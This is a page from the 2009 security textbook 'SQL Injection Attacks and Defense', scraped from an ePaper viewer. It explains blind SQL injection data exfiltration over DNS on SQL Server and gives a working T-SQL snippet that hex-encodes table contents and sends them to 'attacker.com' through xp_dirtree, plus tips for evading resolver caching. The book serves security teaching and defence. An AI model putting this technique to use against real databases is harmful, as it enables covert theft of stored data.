28.10.2014 Views

SQL Injection Attacks and Defense - 2009

SQL Injection Attacks and Defense - 2009

SQL Injection Attacks and Defense - 2009

SHOW MORE
SHOW LESS

Create successful ePaper yourself

Turn your PDF publications into a flip-book with our unique Google optimized e-Paper software.

254 Chapter 5 • Blind <strong>SQL</strong> <strong>Injection</strong> Exploitation<br />

wish to retrieve into a format that is cleanly h<strong>and</strong>led by DNS, <strong>and</strong> one method for doing<br />

this is to convert the data into a hexadecimal representation. <strong>SQL</strong> Server contains a function<br />

called FN_VARBINTOHEXSTR( ) that takes as its sole argument a parameter of type<br />

VARBINARY <strong>and</strong> returns a hexadecimal representation of the data. For example:<br />

SELECT master.dbo.fn_varbintohexstr(CAST(SYSTEM_USER as VARBINARY))<br />

produces<br />

0x73006100<br />

which is the UTF-16 form of sa.<br />

The next problem is that of path lengths. Because the length of data is likely to exceed<br />

128 characters, you run the risk of either queries failing due to excessively long paths or,<br />

if you take only the first 128 characters from each row, missing out on data. By increasing<br />

the complexity of the exploit, you can retrieve specific blocks of data using a SUBSTRING( )<br />

call. The following example performs a lookup on the first 26 bytes from the first review_<br />

body column in the reviews table:<br />

DECLARE @a CHAR(128);<br />

SELECT @a='\\'+master.dbo.fn_varbintohexstr(CAST(SUBSTRING((SELECT TOP 1<br />

CAST(review_body AS CHAR(255)) FROM reviews),1,26) AS<br />

VARBINARY(255)))+'.attacker.com.';<br />

EXEC master..xp_dirtree @a;<br />

The preceding code produced “0x4d6f7669657320696e20746869732067656e7265206<br />

f667465.attacker.com.” or “Movies in this genre ofte”.<br />

Path length is unfortunately not the last complexity that we face. Although UNC<br />

paths can be at most 128 characters, this includes the prefix \\, the domain name that is<br />

appended, as well as any periods used to separate labels in the path. Labels are strings in a<br />

path that are separated by periods, so the path blah.attacker.com has three labels, namely<br />

“blah”, “attacker”, <strong>and</strong> “com”. It is illegal to have a single 128-byte label because labels<br />

can have at most 63 characters. To format the pathname such that it fulfills the label<br />

length requirements, a little more <strong>SQL</strong> is required to massage the data into the correct<br />

form. A small detail that can get in the way when using DNS is that intermediate resolvers<br />

can cache results which prevent lookups from reaching the attacker’s DNS server. You can<br />

bypass this by including some r<strong>and</strong>om-looking value in the lookup so that subsequent<br />

lookups are not identical; current time is one option, as is the row number or a true<br />

r<strong>and</strong>om value.<br />

Finally, enabling the extraction of multiple rows of data requires wrapping all of the<br />

aforementioned refinements in a loop that extracts rows one by one from a target table,<br />

breaks the data into small chunks, converts the chunks into hexadecimal, inserts periods<br />

every 63 characters in the converted chunk, prepends \\ <strong>and</strong> appends the attacker’s domain<br />

name, <strong>and</strong> executes a stored procedure that indirectly causes a lookup.

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!